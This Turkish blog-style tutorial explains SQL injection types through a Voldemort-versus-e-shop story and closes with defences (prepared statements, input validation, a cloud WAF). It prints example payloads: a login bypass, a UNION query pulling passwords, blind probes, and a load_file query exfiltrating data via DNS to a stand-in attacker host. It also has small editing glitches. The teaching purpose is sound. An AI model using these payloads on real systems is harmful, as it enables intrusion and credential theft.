SQL Injection (SQLi) Nedir?

Veri; araştırmalardan, deneylerden, gözlemlerden ve internet gibi ortamlardan elde edilen farklı türlerde değerlerdir. Geliştirilen uygulamaların, yazılan kodların ve tüm dijital deneyimlerin merkezindeki ana karakterlerden biridir. Kullanıcı bilgilerimiz, kişisel mesajlaşmalarımız ve finansal hesaplarımız gibi özel bilgilerimiz dijital kasalar da yani veri tabanlarında saklanıyor. Peki bu kasalar ne kadar sağlam?

Siber güvenlik dünyasında, eski olmasına rağmen hala en yaygın saldırı türlerinden biri olan SQL Injection (SQLi), tam da bu kasaları zorlayan anahtarlardan biri.

Bu yazıda, SQL Injection’ın ne olduğunu, nasıl çalıştığını ve en önemlisi, hem kod seviyesinde hem de modern bulut platformlarının sunduğu araçlarla bu tehlikeyi nasıl bertaraf edebileceğimizi inceleyeceğiz.

“SQL Injection , SQL veritabanlarından veri almak veya değiştirmek için kullanılan bir kod enjeksiyon tekniğidir. Bir giriş alanına özel SQL ifadeleri ekleyerek, bir saldırgan veritabanından veri almaya, hassas verileri yok etmeye veya diğer manipülatif davranışlara olanak tanıyan komutları yürütebilir. Modern bilişimde, SQL enjeksiyonu genellikle bir web sitesi veya hizmet tarafından sağlanan bir API uç noktasına kötü amaçlı SQL sorguları gönderilerek internet üzerinden gerçekleşir. En ciddi haliyle SQL enjeksiyon, bir saldırganın bir makineye kök erişimi sağlayarak tam kontrol elde etmesini olanak tanır.”(1)

Basitçe ifade etmek gerekirse:

1. Bir web sitemiz var ve kullanıcı verilerini veri tabanında saklıyoruz.
2. Kullanıcı bir işlem yaptığında uygulamamız veri tabanına bir SQL sorgusu gönderir.
3. Bu esnada saldırgan normal bir veri girmesi gereken yere, özel olarak hazırlanmış SQL komutları girerek sorgunun orijinal amacını tamamen değiştirebilir, bu durumda SQL Injection açığı doğar.

Bu sayede veri tabanımızdaki tüm verileri okuyabilir, değiştirebilir, silebilir ve hatta sunucumuzun kontrolünü ele geçirebilir.

yapay zeka ile üretilmiştir.

Ron’un Alışverişi

Konuyu somutlaştırmak için bir senaryo oluşturalım. Karakterimiz Ron “BuGünNeAlsam” adında bir e-ticaret sitesinden sık sık alışveriş yapıyor.

Bir gün hesabına giriş yapıp alışveriş yapmak ister. Ron kullanıcı adını ve şifresini girer:

Kullanıcı adı: Minik_Ronniekins

Şifre: ChudleyCannonsBuSeneSampiyon

Web sitelerinde kullanıcı girişi tıpkı SQL söz diziminde olduğu gibi, genellikle metin biçimindedir. Geliştiriciler kullanıcı tarafından verilen verileri doğrudan SQL ifadeleriyle birleştirip sorgu oluşturabilir.

Bu durumda “BuGünNeAlsam” e-ticaret sitesi sunucusu, veri tabanına şu şekilde bir sorgu gönderir:

SELECT * FROM users Where user_name = 'Minik_Ronniekins' AND password = 'ChudleyCannonsBuSeneSampiyon';

Veri tabanı bu bilgileri kontrol edip eşleşmeyi bulur ve Ron’un girişine izin verir. Bu normal bir web sitesine kullanıcı bilgileri ile giriş yaparken olmasını beklediğimiz bir senaryodur.

yapay zeka ile üretilmiştir.

Şimdi bizim bir de kötü niyetli bir saldırganımız var “Lord Voldemort”. Voldemort “BuGünNeAlsam” web sitesinde bir SQL Injection açığı olup olmadığını bilmiyor ve veri tabanına erişmek için denemeler yapıyor.

Voldemort e-ticaret sitesinde kullanıcı girişi bölümüne

Kullanıcı adı : ‘ OR ‘1’ = ‘1’ — —

Şifre : ()

Eğer site zafiyet içeriyorsa, sunucu bu girdiyi alıp alttaki SQL sorgusunu oluşturur:

SELECT * FROM users WHERE user_name = '' OR '1' = '1' -- ' AND password = '';

Veri tabanı bu sorguyu şu şekilde yorumlar:

• user_name = ‘’ : Bu kısım kullanıcı adının boş olduğunu gösterir.
• OR ‘1’ = ‘1’ : Bu kısımda OR (kısıtın bir tarafı 1 olduğu sürece sonuç doğru olur) 1=1 doğru olduğu için user name kısmı doğru olarak kabul edilir.
• — — : Bu işaret SQL ‘de “yorum satırı” demektir. Sorgunun geri kalanı yorum satırı olarak algılandığı için herhangi bir şeyi etkilemez.

Bu durumda veri tabanı “users tablosundaki tüm kullanıcıları getir” olarak bu cümleyi yorumlar ve Voldemort şifreyi bilmeden sisteme giriş yapmış olur.

Artık Voldemort, Ron ve bir çok kullanıcının bilgilerine erişmiş olur.

SQL Injection Türleri

Ron’un hikayesinde gördüğümüz ilk saldırı (şifresiz giriş yapmak), aslında en basit şeklidir. Voldemort BuGünNeAlsam sitesine saldırmak için kullanabileceği yöntemleri aynı senaryo üzerinden inceleyelim.

In-Band SQL Injection

En yaygın ve en basit türüdür. Ron’un yaşadığı örnek tam olarak budur. Saldırgan orijinal sorguyu değiştirip değiştirilen sorgunun doğrudan sonuçlarını aynı ekran üzerinden alabilmesidir. İletişim ve sonuç “aynı bant ” üzerindedir (HTTP) ekstra bir kanal gerekmez.

örneğin orijinal sorgu şu şekildedir.

SELECT * FROM users WHERE user_name = 'kullanıcı girdisi';

user_name kullanıcıdan alınır. Saldırgan bu kısma girdi olarak şunu verir:

%'--

Böylece sorgu bu hale gelir:

SELECT * FROM users WHERE user_name LIKE '%'--'

• user_name LIKE ‘%’ : Her şeti eşleştir demektir yani her koşulda doğru olarak döner. Tüm kayıtlar gelir.
• — — : Yorum satırı anlamına gelir. Bu işaretten sonra her şey yorum olarak görülür.

Bu sorgu ile veri tabanından tüm kullanıcıları, tüm sütunları, güvenlik kontrolü olmadan çekmiş oluyor. In-Band saldırıları sadece giriş yaparken kullanılmaz daha tehlikelisi : UNION-Based SQL Injection.

Ron siteye girdi ve arama motoruna “Klavye” yazdı. Sitedeki klavyeler listelendi. Voldemort ise arama motoruna ürün adı yerine şu sorguyu yazdı:

‘ UNION SELECT 1,user_name, password FROM users --

Voldemort bu sorgusuyla ne yapmış oldu ?

Normalde sitede arama motoruna yazılan ürünlerin adı, fiyatı, adeti gibi bilgilerin tablosu geliyordu ama bu sorgu ile birlikte bu tablo ile kullanıcıların olduğu tabloyu UNION ile birleştirmiş oldu. Ron kendi ekranında klavyeleri görürken Voldemort kullanıcıların bilgilerini görüntülemiş oldu.

Blind SQL Injection

Blind SQL Injection, saldırgan saldırdığı veri tabanından net bir yanıt alamadığı zaman veri tabanı sunucusunun ve uygulamanın tepkilerini gözlemleyerek veri tabanına sızmasıdır.

A- Boolean-Based Blind SQL Injection

Ron’a geri dönelim, BuGünNeAlsam gelişticileri Voldemortun ilk saldırsından sonra bir kaç önlem alıyorlar. Bundan sonra sitede bir hata olduğunda ekrana herhangi bir çıktı vermiyor. Voldemort artık In-Band SQL Injection ile kullanıcı bilgilerine basit bir şekilde ulaşamayacak. Sayfada standart “Ürün bulunamadı ” veya genel bir uyarı sayfası gösteriliyor.

Voldemort bu yüzeden Blind SQL Injection yöntemini denemeye karar veriyor. Bu sefer veri tabanına “Evet/Hayır” soruları sorarak ilerleyecek.

Ron BuGünNeAlsam sitesinde geziyor. Bir ürüne tıklıyor. URL çubuğunda şöyle bir adres var:

bugunnealsam.com/product?id=1567

Bu Ron’un tıkladığı 1567 numaralı siyah pelerin gösteren sayfaya ait adres. Voldemort bu adresi hedef alıyor ama sitede alınan önlemlerden dolayı artık sitede veri sızıntısı yok. Voldemort bu aşamada siteye doğru ve yanlış sorular sorarak sayfanın tepkilerini izliyor örneği:

bugunnealsam.com/product?id=1567 AND 1=1

bu sorgu ile sitede siyah pelerin görüntüleniyor. Sonra diğer sorguyu deniyor:

bugunnealsam.com/product?id=1567 AND 1=2

bu sorguda 1=2 ifadesi yanlış olduğu için site açılmıyor ama ekranda “ürün bulunamadı” gibi bir ifade yazıyor. Voldemort bu durumdan, “Eğer sorum doğru ise ürün geliyor yanlışsa ürün gelmiyor bu şekilde ben veri tabanı ile iletişim kurabilirim” çıkarımında bulunuyor.

Voldemort için sıradaki aşama admin şifresini çalmak.

bu sorguda 1=2 ifadesi yanlış olduğu için site açılmıyor ama ekranda “ürün bulunamadı” gibi bir ifade yazıyor. Voldemort bu durumdan, “Eğer sorum doğru ise ürün geliyor yanlışsa ürün gelmiyor bu şekilde ben veri tabanı ile iletişim kurabilirim” çıkarımında bulunuyor. !!!!!!!!!

Yukarıdaki gibi bir sorgu ile artık sitenin verdiği tepkileri izleyip , eğer ürün hala yüklenemez bir uyarı verir ise buradan admin şifresinin baş harfinin ‘A’ olmadığı çıkarımını yapabilir. Bu gibi bir çok deneme ile ya da deneme sürecine otomatize eden küçük bir yazılım ile admin şifresini kısa süre içerinde Voldemort ulaşabilir.

B- Time-Based Blind SQL Injection

BuGünNeAlsam geliştiricileri sitedeki güvenliği daha da arttırıyorlar. Artık In-band ve Boolean yöntemi işe yaramıyor ama Voldemort denemeye devam ediyor.

Bu sefer yöntemini biraz daha değiştiriyor ve “zamanı” kullanıyor.

bugunnealsam.com/product?id=1567; IF (1=1) WAITFOR DELAY '0:0:10'

Yukarıdaki sorguyu deniyor. Bu sorgudan sonra sayfa 10 sn bekliyor ve sonra yükleniyor. Voldemort buradan şu çıkarımı yapıyor ,“Veri tabanını bekletebiliyorum.”

Bu çıkarımı da kullanarak ;

bugunnealsam.com/product?id=1567 IF ((SELECT SUBSTRING(password, 2, 1) FROM admin) = 'X') WAITFOR DELAY '10'

Voldemort bu sorguyu çalıştırdığında sayfa hemen yükleniyor. Buradan da şu çıkarımı yapar, “Beklemediğine göre şifrenin ikinci harfi X değil ”. Bu şekilde deneyerek yeniden admin şifresine ulaşabilmiş oluyor.

Out-Of-Band SQL Injection

Bant dışı SQL enjeksiyonu ( OOB SQLi ) , saldırganın saldırıya uğrayan uygulamadan aynı iletişim kanalında yanıt alamadığı, bunun yerine uygulamanın kendi kontrolündeki uzak bir uç noktaya veri göndermesine neden olabildiği bir SQL enjeksiyonu türüdür.

Basitleştirecek olursak normalde kullanıcı uygulamaya HTTP isteği gönderir. Sunucu da HTTP cevabı döner. In-Band ve Blind yöntemlerinde saldırgan , cevabı saldırıyı yaptığı kanaldan almaya çalışır ama Out of band SQL injection’da veritabanı DNS,SMTP gibi başka bir kanal üzerinden saldırgana veri gönderir.

BuGünNeAlsam sitesi geliştiricileri güvenlik önlemlerini arttırdı. Artık site, veritabanı hatalarını ekrana çıktı vermiyor (In-Band) ve sunucu zaman aşımı kontrolleri çok sıkı olduğu için bekletme taktikleri de işe yaramıyor (Blind). Voldemort bu yüzden son kozunu oynayacak.

Voldemortun başarılı olması için birkaç koşul var :

• Web uygulamasının, kullanıcının verdiği veriyi filtrelememesi.
• Hedef veritabanı sunucusunun, internete DNS veya HTTP isteği göndermesine izin veren bir ağda olması.
• Veritabanı kullanıcısının, dışarıya istek yapacak dosya okuma (load_file) veya bağlantı açma (UTL_HTTP) gibi fonksiyonları çalıştırma yetkisine sahip olması.

Bu açıkların aynı anda bulunması durumunda Voldemortun başarısı muhtemeldir.

Örneğin;

Voldemort BuGünNeAlsam sitesinin MariaDB kullandığını tahmin ediyor. Verilere ulaşabilmek için load_file() fonksiyonunu kullanacak. Bu fonksiyon dosya okumak için kullanılan bir fonksiyondur , parametre olarak dosya yolu yerine uzak bir alan adı adresi verildiğinde ise işletim sistemi o adresi çözmek için DNS isteği oluşturur.

-- Voldemort'un gönderdiği sorgu temsili olarak şöyledir:
SELECT load_file(CONCAT('\\\\', (SELECT version()), '.voldemort.com\\abc'));

Voldemort bu komut ile veritabanına ”Git ve şu dosyayı oku \ + (Versiyon) + voldemort.com + \ dosya “.

Veritabanı bu adresteki dosyayı okumaya çalışıyor ama önce “https://www.google.com/url?sa=E&source=gmail&q=12345.voldemort.com neresi?” öğrenmesi gerek bu yüzden DNS isteği oluşturuyor. voldemort.com alan adı Voldemort’a ait olduğu için bu istek Voldemort’a yönlendiriliyor.

Voldemort’da buradan “Biri bana 12345https://www.google.com/url?sa=E&source=gmail&q=.voldemort.com adresini sordu.” çıkarımında bulunuyor . Voldemort artık versiyonun 12345 olduğunu öğrenmiş oldu.

Kısaca bu sorgu çalıştığında, veritabanı voldemort.com adresini bulmaya çalışırken, veritabanı sürüm bilgisini de DNS sorgusunun içine gizleyerek Voldemort'a göndermiş olur.

yapay zeka ile üretilmiştir.

Voldemort’u Nasıl Durduracağız?

Kişisel verilerimizi özel kasalarda sakladığımızdan yani veri tabanlarından bahsetmiştik. Kasamızı açmaya çalışan voldemort’un artık kullandığı yöntemleri de biliyoruz. Şimdi önlem almalıyız.

1. İlk Savunma Hattı: Güvenli Kodlama

İlk önlem olarak kasayı açmaya çalışanı kontrol etmeliyiz.

• Parametreli Sorgular: Kullanıcıdan gelen verileri doğrudan veritabanında kullanmak yerine prepared statement kullandığımızda, veritabanı önce SQL şablonunu göndeririz. Veri tabanı bu tabloyu derler ve hazırlar. Sonra biz şablonlardaki boşluklara gelecek boşlukları göndermiş oluruz. Voldemort’da kullanıcı adı bölümünde ‘ OR ‘1’ = ‘1’ yazdığında veri tabanı bunu kodun bir parçası değil şablondaki bilgileri göre onun bir kullanıcı adı olduğunu anlar.
• Girdi Doğrulama: Prepared Statement, SQL Injection’u engeller ama tek başına yeterli değildir. Girdi doğrulama ile veri veri tabanına gitmeden kapıda durdurulur. Kapıdaki bodyguardımızı önceden bir kara liste değilde beyaz liste hazırlayıp verdiğimizi düşünelim. Yani verdiğimiz listedekileri içeri alıyoruz sadece. Örneğin ; E-posta alanında sadece içinde sırayla “@ “ ve “ . ” geçen, standart e-posta formatına uyan veriyi kabul etmek. Girdi doğrulama ayrıca sadece SQL Injection’u değil XSS gibi diğer saldırıları da engelleyebilir.

2. Kasanın Kilidi: Huawei Cloud Çözümleri

Huawei Cloud Web Application Firewall (WAF) , web uygulamalarına gelen tüm HTTP/HTTPS isteklerini inceler ve SQL Injection , XSS gibi yaygın saldırıları tespit edip engeller. Bu bizim tam da Voldemort’a karşı kullanacağımız patronus büyümüz.

WAF ile BuGünNeAlsam sitemize gelen tüm trafik denetlenir ve içinde ‘ OR ‘1’ = ‘1’ gibi SQL Injection desenleri veya şüpheli karakterleri içeren istekleri sunucuya ulaşmadan engeller böylece verilerimiz güvende olur.

Kaynaklar

https://www.cloudflare.com/learning/security/threats/sql-injection/

https://www.pwc.com.tr/tr/assets/pdf/out-of-band-oob-sql-injection.pdf

https://www.invicti.com/learn/sql-injection-sqli

https://support.huaweicloud.com/intl/en-us/productdesc-waf/waf_01_0094.html

[embed]W3Schools.com W3Schools offers free online tutorials, references and exercises in all the major languages of the web. Covering…www.w3schools.com